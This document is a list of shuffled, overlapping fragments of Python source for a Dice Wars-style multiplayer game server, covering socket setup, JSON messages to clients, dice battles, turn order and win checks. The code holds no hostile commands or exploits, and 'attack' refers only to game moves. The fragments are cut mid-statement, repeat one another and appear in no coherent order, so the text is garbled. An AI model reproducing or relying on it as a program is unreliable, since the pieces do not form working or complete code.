"close_connections(self): \"\"\"Close server's socket \"\"\" self.logger.debug(\"Closing server socket\") self.socket.close() ################## # INITIALIZATION #",
"> def_pwr: defender.set_owner_name(atk_name) self.players[atk_name].add_area(defender) self.players[def_name].remove_area(defender) if self.players[def_name].get_number_of_areas() == 0: self.eliminate_player(def_name) attacker.set_dice(1) defender.set_dice(atk_dice -",
"from client {}; type: {}\".format(player, msg['type'])) return msg def send_message(self, client, type, battle=None,",
"and carry out the action \"\"\" self.logger.debug(\"Handling player {} ({}) turn\".format(self.current_player.get_name(), self.current_player.nickname)) player",
"import serialise_game_configuration, save_game_configurations configurations = set() try: for i in range(1, self.number_of_players +",
"= self.current_player.get_name() msg['reserves'] = { i: self.players[i].get_reserve() for i in self.players } elif",
"player.get_largest_region(self.board) if dice > 64: dice = 64 areas = [] for area",
"1 affected_areas = self.end_turn() for p in self.players: self.send_message(self.players[p], 'end_turn', areas=affected_areas) def get_state(self):",
"{}\".format(self.current_player.get_name())) self.handle_player_turn() if self.check_win_condition(): sys.stdout.write(str(self.summary)) for i, p in self.players.items(): if p.get_number_of_areas() ==",
"in self.players: if not self.players[player].has_client(): return self.players[player] return False def close_connections(self): \"\"\"Close server's",
"nicknames_order: self.players_order.append(registered_nicknames_rev[nick]) self.set_first_player() def report_player_order(self): self.logger.info('Player order: {}'.format([(name, self.players[name].nickname) for name in self.players_order]))",
"failed: {0}\".format(e)) except ConnectionResetError: self.logger.error(\"ConnectionResetError\") try: self.close_connections() except BrokenPipeError: pass ############## # GAME",
"attacker.set_dice(1) defender.set_dice(atk_dice - 1) battle['def'] = { 'name': defender.get_name(), 'dice': atk_dice - 1,",
"p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True if self.nb_battles == MAX_BATTLES_PER_GAME: self.logger.info(\"Game",
"for p in self.players: self.send_message(self.players[p], 'end_turn', areas=affected_areas) def get_state(self): \"\"\"Get game state Returns",
"for old_name, player in self.players.items()} self.players = {renumbering[old_name]: player for old_name, player in",
"socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind((self.address, self.port)) self.logger.debug(\"Server socket at {}:{}\".format(self.address, self.port)) except OSError",
"of {} rounds of passing has been reached\".format(MAX_PASS_ROUNDS)) for p in self.players.values(): if",
"type, battle=None, winner=None, areas=None): \"\"\"Send message to a client Parameters ---------- client :",
"affected_areas: affected_areas.append(area) dice -= 1 player.set_reserve(dice) self.set_next_player() list_of_areas = {} for area in",
"winner : int Winner of the game areas : list of int Areas",
"game_state['score'] = {} for p in self.players: player = self.players[p] game_state['score'][player.get_name()] = player.get_largest_region(self.board)",
"new owner Parameters ---------- area : Area Area to be assigned new owner",
"board=self.board, players=self.players, ) configurations.add(serialised_game) except KeyboardInterrupt: self.logger.info(\"Game interrupted.\") for i in range(1, self.number_of_players",
"in self.current_player.get_areas(): areas.append(area) while dice and areas: area = random.choice(areas) if not area.add_die():",
"player {}\".format(self.current_player.get_name())) self.handle_player_turn() if self.check_win_condition(): sys.stdout.write(str(self.summary)) for i, p in self.players.items(): if p.get_number_of_areas()",
"+= 1 atk_dice = attacker.get_dice() def_dice = defender.get_dice() atk_pwr = def_pwr = 0",
"self.logger.debug(\"Battle result: {}\".format(battle)) for p in self.players: self.send_message(self.players[p], 'battle', battle=battle) elif msg['type'] ==",
"buffer : int Size of socket buffer number_of_players : int Number of players",
"== 'game_start': msg = self.get_state() msg['type'] = 'game_start' msg['player'] = client.get_name() msg['no_players'] =",
"defender.get_owner_name() for i in range(0, atk_dice): atk_pwr += random.randint(1, 6) for i in",
"areas.remove(area) else: if area not in affected_areas: affected_areas.append(area) dice -= 1 player.set_reserve(dice) self.set_next_player()",
"\"\"\" sock, client_address = self.socket.accept() self.add_client(sock, client_address, i) def add_client(self, connection, client_address, i):",
"while True: try: if self.players[idx].get_number_of_areas() == 0: current_idx = (current_idx + 1) %",
"to player : Player New owner \"\"\" area.set_owner_name(player.get_name()) player.add_area(area) def handle_player_turn(self): \"\"\"Handle clients",
"= { 'name': defender.get_name(), 'dice': def_dice, 'owner': def_name, 'pwr': def_pwr } return battle",
"cancelled because the limit of {} rounds of passing has been reached\".format(MAX_PASS_ROUNDS)) for",
": str IP address of the server port : int Port number Attributes",
"(current_idx + 1) % self.number_of_players idx = self.players_order[(current_idx + 1) % self.number_of_players] continue",
"= self.players[p] if player.get_number_of_areas() == self.board.get_number_of_areas(): self.process_win(player.get_nickname(), player.get_name()) return True return False def",
"\"\"\"Carry out a battle Returns ------- dict Dictionary with the result of the",
"'game_start') self.summary = GameSummary() def run(self): \"\"\"Main loop of the game \"\"\" from",
"---------- connection : socket Client's socket client_addres : (str, int) Client's address and",
"socket to an unassigned player \"\"\" player = self.get_unassigned_player() if player: player.assign_client(socket, client_address)",
"if msg['type'] == 'battle': self.nb_consecutive_end_of_turns = 0 battle = self.battle(self.board.get_area_by_name(msg['atk']), self.board.get_area_by_name(msg['def'])) self.summary.add_battle() self.logger.debug(\"Battle",
"Recepient of the message type : str Type of message battle : dict",
"obsevered maximum of 5671 over over 100k games class Game: \"\"\"Instance of the",
"({})\".format(player, nickname)) self.nb_players_alive -= 1 def check_win_condition(self): \"\"\"Check win conditions Returns ------- bool",
"the game areas : list of int Areas changed during the turn \"\"\"",
"= self.players[i] self.send_message(player, 'game_state') while True: self.logger.debug(\"Current player {}\".format(self.current_player.get_name())) self.handle_player_turn() if self.check_win_condition(): sys.stdout.write(str(self.summary))",
"has been reached\".format(MAX_BATTLES_PER_GAME)) for p in self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None,",
"client, type, battle=None, winner=None, areas=None): \"\"\"Send message to a client Parameters ---------- client",
"self.buffer = 65535 self.logger = logging.getLogger('SERVER') self.address = addr self.port = port self.number_of_players",
"attacker.set_dice(1) if atk_pwr > def_pwr: defender.set_owner_name(atk_name) self.players[atk_name].add_area(defender) self.players[def_name].remove_area(defender) if self.players[def_name].get_number_of_areas() == 0: self.eliminate_player(def_name)",
"old_name, player in self.players.items()} for name, player in self.players.items(): player.name = name self.client_sockets",
"int Winner of the game areas : list of int Areas changed during",
"with the result of the battle including information about rolled numbers, dice left",
"'battle': msg = self.get_state() msg['type'] = 'battle' msg['result'] = battle elif type ==",
"else: return player def assign_player_to_client(self, socket, client_address): \"\"\"Add client's socket to an unassigned",
"connection, client_address, i): \"\"\"Add client's socket to an instance of Player Parameters ----------",
"{} for p in self.players: player = self.players[p] game_state['score'][player.get_name()] = player.get_largest_region(self.board) return game_state",
"Player from .summary import GameSummary MAX_PASS_ROUNDS = 8 MAX_BATTLES_PER_GAME = 10000 # obsevered",
"serialise_game_configuration( board=self.board, players=self.players, ) configurations.add(serialised_game) except KeyboardInterrupt: self.logger.info(\"Game interrupted.\") for i in range(1,",
"for i in range(1, self.number_of_players + 1): player = self.players[i] self.send_message(player, 'close_socket') except",
"process_win(self, player_nick, player_name): self.summary.set_winner(player_nick) self.logger.info(\"Player {} ({}) wins!\".format(player_nick, player_name)) for i in self.players:",
"self.players.items(): if p.get_number_of_areas() == self.board.get_number_of_areas(): save_game_configurations( winner_index=i, configurations=configurations, ) break break serialised_game =",
"p in self.players: player = self.players[p] game_state['score'][player.get_name()] = player.get_largest_region(self.board) return game_state def battle(self,",
"client.get_name())) if type == 'game_start': msg = self.get_state() msg['type'] = 'game_start' msg['player'] =",
"in self.players.items()} self.players = {renumbering[old_name]: player for old_name, player in self.players.items()} for name,",
"except ConnectionResetError: self.logger.error(\"ConnectionResetError\") try: self.close_connections() except BrokenPipeError: pass ############## # GAME LOGIC #",
"'type': 'game_end', 'winner': winner } elif type == 'close_socket': msg = {'type': 'close_socket'}",
"for p in self.players: player = self.players[p] if player.get_number_of_areas() == self.board.get_number_of_areas(): self.process_win(player.get_nickname(), player.get_name())",
"{}\".format(type, client.get_name())) if type == 'game_start': msg = self.get_state() msg['type'] = 'game_start' msg['player']",
"Name of the client Returns ------- str Decoded message from the client \"\"\"",
"has been reached\".format(MAX_PASS_ROUNDS)) for p in self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None,",
"new owner to player : Player New owner \"\"\" area.set_owner_name(player.get_name()) player.add_area(area) def handle_player_turn(self):",
"set_first_player(self): \"\"\"Set first player \"\"\" for player in self.players: if self.players[player].get_name() == self.players_order[0]:",
"atk_pwr } } attacker.set_dice(1) if atk_pwr > def_pwr: defender.set_owner_name(atk_name) self.players[atk_name].add_area(defender) self.players[def_name].remove_area(defender) if self.players[def_name].get_number_of_areas()",
"8 MAX_BATTLES_PER_GAME = 10000 # obsevered maximum of 5671 over over 100k games",
"been reached\".format(MAX_PASS_ROUNDS)) for p in self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1)",
"self.board.get_area_by_name(msg['def'])) self.summary.add_battle() self.logger.debug(\"Battle result: {}\".format(battle)) for p in self.players: self.send_message(self.players[p], 'battle', battle=battle) elif",
"= 8 MAX_BATTLES_PER_GAME = 10000 # obsevered maximum of 5671 over over 100k",
"if dice > 64: dice = 64 areas = [] for area in",
"p in self.players: self.send_message(self.players[p], 'battle', battle=battle) elif msg['type'] == 'end_turn': self.nb_consecutive_end_of_turns += 1",
"in range(1, self.number_of_players + 1): player = self.players[i] self.send_message(player, 'game_state') while True: self.logger.debug(\"Current",
"False def process_win(self, player_nick, player_name): self.summary.set_winner(player_nick) self.logger.info(\"Player {} ({}) wins!\".format(player_nick, player_name)) for i",
"client Returns ------- str Decoded message from the client \"\"\" raw_message = self.client_sockets[player].recv(self.buffer)",
"self.number_of_players] while True: try: if self.players[idx].get_number_of_areas() == 0: current_idx = (current_idx + 1)",
"= 64 areas = [] for area in self.current_player.get_areas(): areas.append(area) while dice and",
"a client Parameters ---------- client : Player Recepient of the message type :",
"range(1, self.number_of_players + 1): player = self.players[i] self.send_message(player, 'game_state') while True: self.logger.debug(\"Current player",
"} game_state['score'] = {} for p in self.players: player = self.players[p] game_state['score'][player.get_name()] =",
"owner Parameters ---------- area : Area Area to be assigned new owner to",
"self.players: if not self.players[player].has_client(): return self.players[player] return False def close_connections(self): \"\"\"Close server's socket",
"= self.get_state() msg['type'] = 'end_turn' msg['areas'] = areas msg['current_player'] = self.current_player.get_name() msg['reserves'] =",
"a wrong-type hello message '{}'\".format(hello_msg)) self.players[i].set_nickname(hello_msg['nickname']) self.logger.debug(\"Successfully assigned clients to all players\") def",
"return True for p in self.players: player = self.players[p] if player.get_number_of_areas() == self.board.get_number_of_areas():",
"not area.add_die(): areas.remove(area) else: if area not in affected_areas: affected_areas.append(area) dice -= 1",
"= {'type': 'close_socket'} msg = json.dumps(msg) client.send_message(msg + '\\0') def create_socket(self): \"\"\"Initiate server",
"{ 'atk': { 'name': attacker.get_name(), 'dice': 1, 'owner': atk_name, 'pwr': atk_pwr } }",
"---------- player : int Name of the client Returns ------- str Decoded message",
"\"\"\"Set first player \"\"\" for player in self.players: if self.players[player].get_name() == self.players_order[0]: self.current_player",
"self.summary.add_battle() self.logger.debug(\"Battle result: {}\".format(battle)) for p in self.players: self.send_message(self.players[p], 'battle', battle=battle) elif msg['type']",
"of the areas \"\"\" self.nb_battles += 1 atk_dice = attacker.get_dice() def_dice = defender.get_dice()",
"== MAX_PASS_ROUNDS: self.logger.info(\"Game cancelled because the limit of {} rounds of passing has",
"self.current_player.get_name() current_idx = self.players_order.index(current_player_name) idx = self.players_order[(current_idx + 1) % self.number_of_players] while True:",
"command Returns ------- dict Dictionary of affected areas including number of dice in",
"buffer number_of_players : int Number of players \"\"\" self.buffer = 65535 self.logger =",
"areas \"\"\" self.nb_battles += 1 atk_dice = attacker.get_dice() def_dice = defender.get_dice() atk_pwr =",
"client Parameters ---------- player : int Name of the client Returns ------- str",
"self.players[i].set_nickname(hello_msg['nickname']) self.logger.debug(\"Successfully assigned clients to all players\") def connect_client(self, i): \"\"\"Assign client to",
"player in self.players: if self.players[player].get_name() == self.players_order[0]: self.current_player = self.players[player] self.logger.debug(\"Current player: {}\".format(self.current_player.get_name()))",
"return msg def send_message(self, client, type, battle=None, winner=None, areas=None): \"\"\"Send message to a",
"for p in self.players: self.send_message(self.players[p], 'battle', battle=battle) elif msg['type'] == 'end_turn': self.nb_consecutive_end_of_turns +=",
"'dice': area.get_dice() } game_state['score'] = {} for p in self.players: player = self.players[p]",
"self.socket.accept() self.add_client(sock, client_address, i) def add_client(self, connection, client_address, i): \"\"\"Add client's socket to",
"player has won, False otherwise \"\"\" if self.nb_consecutive_end_of_turns // self.nb_players_alive == MAX_PASS_ROUNDS: self.logger.info(\"Game",
"self.players.items()} assert(len(nicknames_order) == len(registered_nicknames_rev)) assert(set(nicknames_order) == set(registered_nicknames_rev.keys())) self.players_order = [] for nick in",
"{0}\".format(e)) except ConnectionResetError: self.logger.error(\"ConnectionResetError\") try: self.close_connections() except BrokenPipeError: pass ############## # GAME LOGIC",
"exit(1) def connect_clients(self): \"\"\"Connect all clients \"\"\" self.client_sockets = {} self.socket.listen(self.number_of_players) self.logger.debug(\"Waiting for",
"'battle': self.nb_consecutive_end_of_turns = 0 battle = self.battle(self.board.get_area_by_name(msg['atk']), self.board.get_area_by_name(msg['def'])) self.summary.add_battle() self.logger.debug(\"Battle result: {}\".format(battle)) for",
"Player Parameters ---------- connection : socket Client's socket client_addres : (str, int) Client's",
"def_dice): def_pwr += random.randint(1, 6) battle = { 'atk': { 'name': attacker.get_name(), 'dice':",
"players, addr, port, nicknames_order): \"\"\"Initialize game and connect clients Parameters ---------- players :",
"if type == 'game_start': msg = self.get_state() msg['type'] = 'game_start' msg['player'] = client.get_name()",
"defender.get_dice() atk_pwr = def_pwr = 0 atk_name = attacker.get_owner_name() def_name = defender.get_owner_name() for",
"self.nb_players_alive -= 1 def check_win_condition(self): \"\"\"Check win conditions Returns ------- bool True if",
"reached\".format(MAX_PASS_ROUNDS)) for p in self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return",
"self.end_turn() for p in self.players: self.send_message(self.players[p], 'end_turn', areas=affected_areas) def get_state(self): \"\"\"Get game state",
"during the turn \"\"\" self.logger.debug(\"Sending msg type '{}' to client {}\".format(type, client.get_name())) if",
"= port self.number_of_players = players self.nb_players_alive = players self.nb_consecutive_end_of_turns = 0 self.nb_battles =",
"return player else: return False def get_unassigned_player(self): \"\"\"Get a player with unassigned client",
"self.board.get_board() msg['order'] = self.players_order elif type == 'game_state': msg = self.get_state() msg['type'] =",
"dice and areas: area = random.choice(areas) if not area.add_die(): areas.remove(area) else: if area",
"for nick in nicknames_order: self.players_order.append(registered_nicknames_rev[nick]) self.set_first_player() def report_player_order(self): self.logger.info('Player order: {}'.format([(name, self.players[name].nickname) for",
"MAX_PASS_ROUNDS = 8 MAX_BATTLES_PER_GAME = 10000 # obsevered maximum of 5671 over over",
"battle, and possible new ownership of the areas \"\"\" self.nb_battles += 1 atk_dice",
"return True if self.nb_battles == MAX_BATTLES_PER_GAME: self.logger.info(\"Game cancelled because the limit of {}",
"player with unassigned client \"\"\" for player in self.players: if not self.players[player].has_client(): return",
"len(registered_nicknames_rev)) assert(set(nicknames_order) == set(registered_nicknames_rev.keys())) self.players_order = [] for nick in nicknames_order: self.players_order.append(registered_nicknames_rev[nick]) self.set_first_player()",
"self.logger.info(\"Eliminated player {} ({})\".format(player, nickname)) self.nb_players_alive -= 1 def check_win_condition(self): \"\"\"Check win conditions",
"message from client Parameters ---------- player : int Name of the client Returns",
"area.get_dice() } game_state['score'] = {} for p in self.players: player = self.players[p] game_state['score'][player.get_name()]",
"to an instance of Player \"\"\" sock, client_address = self.socket.accept() self.add_client(sock, client_address, i)",
"self.set_next_player() list_of_areas = {} for area in affected_areas: list_of_areas[area.get_name()] = { 'owner': area.get_owner_name(),",
"= self.get_state() msg['type'] = 'battle' msg['result'] = battle elif type == 'end_turn': msg",
"= self.players_order elif type == 'game_state': msg = self.get_state() msg['type'] = 'game_state' msg['player']",
"socket \"\"\" try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind((self.address, self.port)) self.logger.debug(\"Server",
"MAX_BATTLES_PER_GAME = 10000 # obsevered maximum of 5671 over over 100k games class",
"if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True if self.nb_battles == MAX_BATTLES_PER_GAME:",
"assigned clients to all players\") def connect_client(self, i): \"\"\"Assign client to an instance",
"except BrokenPipeError: pass ############## # GAME LOGIC # ############## def assign_area(self, area, player):",
"else: return False def get_unassigned_player(self): \"\"\"Get a player with unassigned client \"\"\" for",
"player in self.players: if not self.players[player].has_client(): return self.players[player] return False def close_connections(self): \"\"\"Close",
"int Areas changed during the turn \"\"\" self.logger.debug(\"Sending msg type '{}' to client",
"defender.set_owner_name(atk_name) self.players[atk_name].add_area(defender) self.players[def_name].remove_area(defender) if self.players[def_name].get_number_of_areas() == 0: self.eliminate_player(def_name) attacker.set_dice(1) defender.set_dice(atk_dice - 1) battle['def']",
"dice = 64 areas = [] for area in self.current_player.get_areas(): areas.append(area) while dice",
"############## def get_message(self, player): \"\"\"Read message from client Parameters ---------- player : int",
"self.players_order elif type == 'game_state': msg = self.get_state() msg['type'] = 'game_state' msg['player'] =",
"server's socket \"\"\" self.logger.debug(\"Closing server socket\") self.socket.close() ################## # INITIALIZATION # ################## def",
"self.set_first_player() self.logger.debug(\"Player order {0}\".format(self.players_order)) def assign_areas_to_players(self, ownership): \"\"\"Assigns areas to players at the",
"else: battle['def'] = { 'name': defender.get_name(), 'dice': def_dice, 'owner': def_name, 'pwr': def_pwr }",
"self.logger.debug(\"Current player: {}\".format(self.current_player.get_name())) except IndexError: exit(1) return def eliminate_player(self, player): nickname = self.players[player].get_nickname()",
"= self.get_state() msg['type'] = 'game_start' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] =",
"self.report_player_order() self.assign_areas_to_players(area_ownership) self.logger.debug(\"Board initialized\") for player in self.players.values(): self.send_message(player, 'game_start') self.summary = GameSummary()",
"otherwise \"\"\" if self.nb_consecutive_end_of_turns // self.nb_players_alive == MAX_PASS_ROUNDS: self.logger.info(\"Game cancelled because the limit",
"possible new ownership of the areas \"\"\" self.nb_battles += 1 atk_dice = attacker.get_dice()",
"for a in self.board.areas: area = self.board.areas[a] game_state['areas'][area.name] = { 'adjacent_areas': area.get_adjacent_areas_names(), 'owner':",
"MAX_PASS_ROUNDS: self.logger.info(\"Game cancelled because the limit of {} rounds of passing has been",
"1): player = self.players[i] self.send_message(player, 'close_socket') except (BrokenPipeError, JSONDecodeError) as e: self.logger.error(\"Connection to",
"reached\".format(MAX_BATTLES_PER_GAME)) for p in self.players.values(): if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return",
"'dice': atk_dice - 1, 'owner': atk_name, 'pwr': def_pwr } else: battle['def'] = {",
"GAME LOGIC # ############## def assign_area(self, area, player): \"\"\"Assign area to a new",
"\"\"\"Initialize game and connect clients Parameters ---------- players : int Number of players",
"Returns ------- bool True if a player has won, False otherwise \"\"\" if",
"+= random.randint(1, 6) battle = { 'atk': { 'name': attacker.get_name(), 'dice': 1, 'owner':",
"not assign player to client {}\".format(client_address)) else: return player def assign_player_to_client(self, socket, client_address):",
"of int Areas changed during the turn \"\"\" self.logger.debug(\"Sending msg type '{}' to",
"= self.players_order.index(current_player_name) idx = self.players_order[(current_idx + 1) % self.number_of_players] while True: try: if",
"{old_name: nicknames_order.index(player.nickname)+1 for old_name, player in self.players.items()} self.players = {renumbering[old_name]: player for old_name,",
"about rolled numbers, dice left after the battle, and possible new ownership of",
"1, 'owner': atk_name, 'pwr': atk_pwr } } attacker.set_dice(1) if atk_pwr > def_pwr: defender.set_owner_name(atk_name)",
"Result of a battle winner : int Winner of the game areas :",
"\"\"\" if self.nb_consecutive_end_of_turns // self.nb_players_alive == MAX_PASS_ROUNDS: self.logger.info(\"Game cancelled because the limit of",
"= serialise_game_configuration( board=self.board, players=self.players, ) configurations.add(serialised_game) except KeyboardInterrupt: self.logger.info(\"Game interrupted.\") for i in",
"area = self.board.areas[a] game_state['areas'][area.name] = { 'adjacent_areas': area.get_adjacent_areas_names(), 'owner': area.get_owner_name(), 'dice': area.get_dice() }",
"= defender.get_dice() atk_pwr = def_pwr = 0 atk_name = attacker.get_owner_name() def_name = defender.get_owner_name()",
"if p.get_number_of_areas() > 0: self.eliminate_player(p.get_name()) self.process_win(None, -1) return True for p in self.players:",
"message to a client Parameters ---------- client : Player Recepient of the message",
": dict Result of a battle winner : int Winner of the game",
"= 10000 # obsevered maximum of 5671 over over 100k games class Game:",
"\"\"\"Set next player in order as a current player \"\"\" current_player_name = self.current_player.get_name()",
"self.nb_battles = 0 self.create_socket() self.board = board self.initialize_players() self.connect_clients() if nicknames_order is not",
"player.get_largest_region(self.board) return game_state def battle(self, attacker, defender): \"\"\"Carry out a battle Returns -------",
": int Name of the client Returns ------- str Decoded message from the",
"# ############## def get_message(self, player): \"\"\"Read message from client Parameters ---------- player :",
"0 self.create_socket() self.board = board self.initialize_players() self.connect_clients() if nicknames_order is not None: self.adjust_player_order(nicknames_order)",
"self.players_order = [] for nick in nicknames_order: self.players_order.append(registered_nicknames_rev[nick]) self.set_first_player() def report_player_order(self): self.logger.info('Player order:",
"connection : socket Client's socket client_addres : (str, int) Client's address and port",
"dict Dictionary of affected areas including number of dice in these areas \"\"\"",
"{0}\".format(self.players_order)) def assign_areas_to_players(self, ownership): \"\"\"Assigns areas to players at the start of the",
"and connect clients Parameters ---------- players : int Number of players addr :",
"connect_clients(self): \"\"\"Connect all clients \"\"\" self.client_sockets = {} self.socket.listen(self.number_of_players) self.logger.debug(\"Waiting for clients to",
"= {} self.socket.listen(self.number_of_players) self.logger.debug(\"Waiting for clients to connect\") for i in range(1, self.number_of_players",
"= socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind((self.address, self.port)) self.logger.debug(\"Server socket at {}:{}\".format(self.address, self.port))",
"self.number_of_players = players self.nb_players_alive = players self.nb_consecutive_end_of_turns = 0 self.nb_battles = 0 self.create_socket()",
"'game_start': msg = self.get_state() msg['type'] = 'game_start' msg['player'] = client.get_name() msg['no_players'] = self.number_of_players",
"assert(len(ownership) == self.board.get_number_of_areas()) for area_name, player_name in ownership.items(): area = self.board.get_area_by_name(area_name) self.assign_area(area, self.players[player_name])",
"sys from .player import Player from .summary import GameSummary MAX_PASS_ROUNDS = 8 MAX_BATTLES_PER_GAME",
"the server port : int Port number Attributes ---------- buffer : int Size",
"'end_turn', areas=affected_areas) def get_state(self): \"\"\"Get game state Returns ------- dict Dictionary containing owner,",
"-= 1 def check_win_condition(self): \"\"\"Check win conditions Returns ------- bool True if a",
"player): \"\"\"Read message from client Parameters ---------- player : int Name of the",
"'end_turn': msg = self.get_state() msg['type'] = 'end_turn' msg['areas'] = areas msg['current_player'] = self.current_player.get_name()",
"try: self.close_connections() except BrokenPipeError: pass ############## # GAME LOGIC # ############## def assign_area(self,",
"---------- players : int Number of players addr : str IP address of",
"as score of each player \"\"\" game_state = { 'areas': {} } for",
"of players \"\"\" self.buffer = 65535 self.logger = logging.getLogger('SERVER') self.address = addr self.port",
"def_dice = defender.get_dice() atk_pwr = def_pwr = 0 atk_name = attacker.get_owner_name() def_name =",
"def get_unassigned_player(self): \"\"\"Get a player with unassigned client \"\"\" for player in self.players:",
"} for a in self.board.areas: area = self.board.areas[a] game_state['areas'][area.name] = { 'adjacent_areas': area.get_adjacent_areas_names(),",
"self.logger.debug(\"Successfully assigned clients to all players\") def connect_client(self, i): \"\"\"Assign client to an",
"Parameters ---------- players : int Number of players addr : str IP address",
"atk_dice - 1, 'owner': atk_name, 'pwr': def_pwr } else: battle['def'] = { 'name':",
"these areas \"\"\" affected_areas = [] player = self.current_player dice = player.get_reserve() +",
"def adjust_player_order(self, nicknames_order): renumbering = {old_name: nicknames_order.index(player.nickname)+1 for old_name, player in self.players.items()} self.players",
"eliminate_player(self, player): nickname = self.players[player].get_nickname() self.summary.add_elimination(nickname, self.summary.nb_battles) self.logger.info(\"Eliminated player {} ({})\".format(player, nickname)) self.nb_players_alive",
"of each player \"\"\" game_state = { 'areas': {} } for a in",
"self.players.values(): self.send_message(player, 'game_start') self.summary = GameSummary() def run(self): \"\"\"Main loop of the game",
"if self.nb_consecutive_end_of_turns // self.nb_players_alive == MAX_PASS_ROUNDS: self.logger.info(\"Game cancelled because the limit of {}",
"self.socket.bind((self.address, self.port)) self.logger.debug(\"Server socket at {}:{}\".format(self.address, self.port)) except OSError as e: self.logger.error(\"Cannot create",
"msg['areas'] = areas msg['current_player'] = self.current_player.get_name() msg['reserves'] = { i: self.players[i].get_reserve() for i",
"GameSummary MAX_PASS_ROUNDS = 8 MAX_BATTLES_PER_GAME = 10000 # obsevered maximum of 5671 over",
"in these areas \"\"\" affected_areas = [] player = self.current_player dice = player.get_reserve()",
"clients \"\"\" self.client_sockets = {} self.socket.listen(self.number_of_players) self.logger.debug(\"Waiting for clients to connect\") for i",
"JSONDecodeError) as e: self.logger.error(\"Connection to client failed: {0}\".format(e)) except ConnectionResetError: self.logger.error(\"ConnectionResetError\") try: self.close_connections()",
"game areas : list of int Areas changed during the turn \"\"\" self.logger.debug(\"Sending",
"affected areas including number of dice in these areas \"\"\" affected_areas = []",
"rolled numbers, dice left after the battle, and possible new ownership of the",
"assign_player_to_client(self, socket, client_address): \"\"\"Add client's socket to an unassigned player \"\"\" player =",
"= 0 battle = self.battle(self.board.get_area_by_name(msg['atk']), self.board.get_area_by_name(msg['def'])) self.summary.add_battle() self.logger.debug(\"Battle result: {}\".format(battle)) for p in",
"affected_areas = self.end_turn() for p in self.players: self.send_message(self.players[p], 'end_turn', areas=affected_areas) def get_state(self): \"\"\"Get",
"json.loads(raw_message.decode()) self.logger.debug(\"Got message from client {}; type: {}\".format(player, msg['type'])) return msg def send_message(self,",
"for old_name, socket in self.client_sockets.items()} registered_nicknames_rev = {player.nickname: player_name for player_name, player in",
"range(1, self.number_of_players + 1): self.players[i] = Player(i) self.players_order = list(range(1, self.number_of_players + 1))",
"client.send_message(msg + '\\0') def create_socket(self): \"\"\"Initiate server socket \"\"\" try: self.socket = socket.socket(socket.AF_INET,",
"msg['order'] = self.players_order elif type == 'game_state': msg = self.get_state() msg['type'] = 'game_state'",
"self.players = {renumbering[old_name]: player for old_name, player in self.players.items()} for name, player in",
"{ 'name': attacker.get_name(), 'dice': 1, 'owner': atk_name, 'pwr': atk_pwr } } attacker.set_dice(1) if",
"in self.players } elif type == 'game_end': msg = { 'type': 'game_end', 'winner':",
"self.players[def_name].get_number_of_areas() == 0: self.eliminate_player(def_name) attacker.set_dice(1) defender.set_dice(atk_dice - 1) battle['def'] = { 'name': defender.get_name(),",
"player in self.players.values(): self.send_message(player, 'game_start') self.summary = GameSummary() def run(self): \"\"\"Main loop of",
".player import Player from .summary import GameSummary MAX_PASS_ROUNDS = 8 MAX_BATTLES_PER_GAME = 10000",
"a player with unassigned client \"\"\" for player in self.players: if not self.players[player].has_client():",
"= client.get_name() msg['no_players'] = self.number_of_players msg['current_player'] = self.current_player.get_name() elif type == 'battle': msg",
"self.logger.error(\"Cannot create socket. {0}.\".format(e)) exit(1) def connect_clients(self): \"\"\"Connect all clients \"\"\" self.client_sockets =",
"game \"\"\" assert(len(ownership) == self.board.get_number_of_areas()) for area_name, player_name in ownership.items(): area = self.board.get_area_by_name(area_name)",
"random.randint(1, 6) battle = { 'atk': { 'name': attacker.get_name(), 'dice': 1, 'owner': atk_name,",
"---------- area : Area Area to be assigned new owner to player :",
"battle(self, attacker, defender): \"\"\"Carry out a battle Returns ------- dict Dictionary with the",
"= def_pwr = 0 atk_name = attacker.get_owner_name() def_name = defender.get_owner_name() for i in",
"return list_of_areas def set_first_player(self): \"\"\"Set first player \"\"\" for player in self.players: if",
"== 0: current_idx = (current_idx + 1) % self.number_of_players idx = self.players_order[(current_idx +",
"of the message type : str Type of message battle : dict Result",
"socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.bind((self.address, self.port)) self.logger.debug(\"Server socket at {}:{}\".format(self.address, self.port)) except",
"i in range(1, self.number_of_players + 1): self.connect_client(i) hello_msg = self.get_message(i) if hello_msg['type'] !=",
"order as a current player \"\"\" current_player_name = self.current_player.get_name() current_idx = self.players_order.index(current_player_name) idx",
"def initialize_players(self): self.players = {} for i in range(1, self.number_of_players + 1): self.players[i]",
"break break serialised_game = serialise_game_configuration( board=self.board, players=self.players, ) configurations.add(serialised_game) except KeyboardInterrupt: self.logger.info(\"Game interrupted.\")",
"{}\".format(player, msg['type'])) return msg def send_message(self, client, type, battle=None, winner=None, areas=None): \"\"\"Send message",
"the message type : str Type of message battle : dict Result of",
"self.players.items(): player.name = name self.client_sockets = {renumbering[old_name]: socket for old_name, socket in self.client_sockets.items()}",
"areas = [] for area in self.current_player.get_areas(): areas.append(area) while dice and areas: area",
"json from json.decoder import JSONDecodeError import logging import random import socket import sys",
"1)) random.shuffle(self.players_order) self.set_first_player() self.logger.debug(\"Player order {0}\".format(self.players_order)) def assign_areas_to_players(self, ownership): \"\"\"Assigns areas to players",
"area.get_dice() } return list_of_areas def set_first_player(self): \"\"\"Set first player \"\"\" for player in",
"left after the battle, and possible new ownership of the areas \"\"\" self.nb_battles",
